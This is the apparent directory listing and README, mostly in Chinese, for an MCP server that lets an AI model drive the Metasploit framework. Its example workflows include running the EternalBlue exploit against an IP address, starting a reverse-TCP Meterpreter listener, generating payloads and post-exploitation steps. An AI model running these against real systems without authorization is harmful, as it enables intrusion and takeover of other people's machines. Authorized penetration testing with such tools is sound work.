Metasploit MCP Server

by GH05TCREW
Verified

local-only server

The server can only run on the client’s local machine because it depends on local resources.

Integrations

  • Provides a bridge to the Metasploit Framework penetration testing platform, enabling exploitation workflows, payload generation and execution, post-exploitation tools, listener management, and auxiliary module support.

Metasploit MCP 服务器

用于 Metasploit 框架集成的模型上下文协议 (MCP) 服务器。

描述

该 MCP 服务器在 Claude 等大型语言模型和 Metasploit Framework 渗透测试平台之间架起了一座桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 功能,从而为复杂的安全测试工作流程提供自然语言界面。

特征

有效载荷的生成和执行

  • generate_payload :使用 Metasploit RPC 生成有效载荷文件(在本地保存文件)
  • execute_local_program :执行本地保存的程序(例如,生成的有效载荷)

漏洞利用工作流程

  • list_exploits :搜索并列出可用的 Metasploit 漏洞利用模块
  • list_payloads :搜索并列出可用的 Metasploit 有效载荷模块
  • run_exploit :配置并执行针对目标的漏洞利用
  • list_active_sessions :显示当前 Metasploit 会话
  • send_session_command :在活动会话中运行命令

后开发工具

  • get_system_info :从 Meterpreter 会话中检索系统信息
  • get_user_id :获取会话的当前用户上下文
  • list_processes :列出目标系统上正在运行的进程
  • migration_process :将 Meterpreter 会话移动到另一个进程
  • filesystem_list :列出目标系统目录中的文件

听众管理

  • list_listeners :显示所有活动处理程序和后台作业
  • start_listener :创建一个新的 multi/handler 来接收连接
  • stop_job :终止任何正在运行的作业或处理程序

辅助模块支持

  • run_auxiliary_module :使用选项运行任何 Metasploit 辅助模块

先决条件

  • Metasploit Framework 已安装并且 msfrpcd 正在运行
  • Python 3.10 或更高版本
  • 所需的 Python 包(请参阅 requirements.txt)

安装

  1. 克隆此存储库
  2. 安装依赖项:
    pip install -r requirements.txt
  3. 配置环境变量(可选):
    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

用法

启动 Metasploit RPC 服务:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

对于 Claude Desktop 集成,配置claude_desktop_config.json

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

安全注意事项

⚠️重要安全警告

此工具可直接访问 Metasploit Framework 功能,其中包括强大的漏洞利用功能。请谨慎使用,并仅在您拥有明确权限执行安全测试的环境中使用。

  • 执行前务必验证并检查所有命令
  • 仅在隔离的测试环境中运行或获得适当的授权
  • 请注意,后利用命令可能会导致重大的系统修改

示例工作流程

基本利用

  1. 列出可用的漏洞: list_exploits("ms17_010")
  2. 选择并运行漏洞利用程序: run_exploit("exploit/windows/smb/ms17_010_eternalblue", "192.168.1.100", 445)
  3. 列出会话: list_active_sessions()
  4. 运行命令: send_session_command(1, "whoami")

后期利用

  1. 获取系统信息: get_system_info(1)
  2. 列出正在运行的进程: list_processes(1)
  3. 迁移到更稳定的进程: migrate_process(1, 1234)
  4. 浏览文件系统: filesystem_list(1, "C:\\Users")

处理程序管理

  1. 启动监听器: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. 列出活动处理程序: list_listeners()
  3. 生成payload: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. 停止处理程序: stop_job(1)

配置选项

有效载荷保存目录

默认情况下,使用generate_payload生成的有效载荷会保存到主文件夹中的payloads目录( ~/payloadsC:\Users\YourUsername\payloads )。您可以通过设置PAYLOAD_SAVE_DIR环境变量来自定义此位置。

设置环境变量:

  • Windows(PowerShell)
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows(命令提示符)
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • 在 Claude 桌面配置中
    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

**注意:**如果您指定自定义路径,请确保该路径存在或应用程序有权创建该路径。如果路径无效,有效负载生成可能会失败。

执照

Apache 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

在大型语言模型和 Metasploit 框架之间架起一座桥梁,使 AI 助手能够通过自然语言访问和控制渗透测试功能。

  1. Description
    1. Features
      1. Payload Generation and Execution
      2. Exploitation Workflow
      3. Post-Exploitation Tools
      4. Listener Management
      5. Auxiliary Module Support
    2. Prerequisites
      1. Installation
        1. Usage
          1. Security Considerations
            1. Example Workflows
              1. Basic Exploitation
              2. Post-Exploitation
              3. Handler Management
            2. Configuration Options
              1. Payload Save Directory
            3. License
              ID: vmkfe6ftya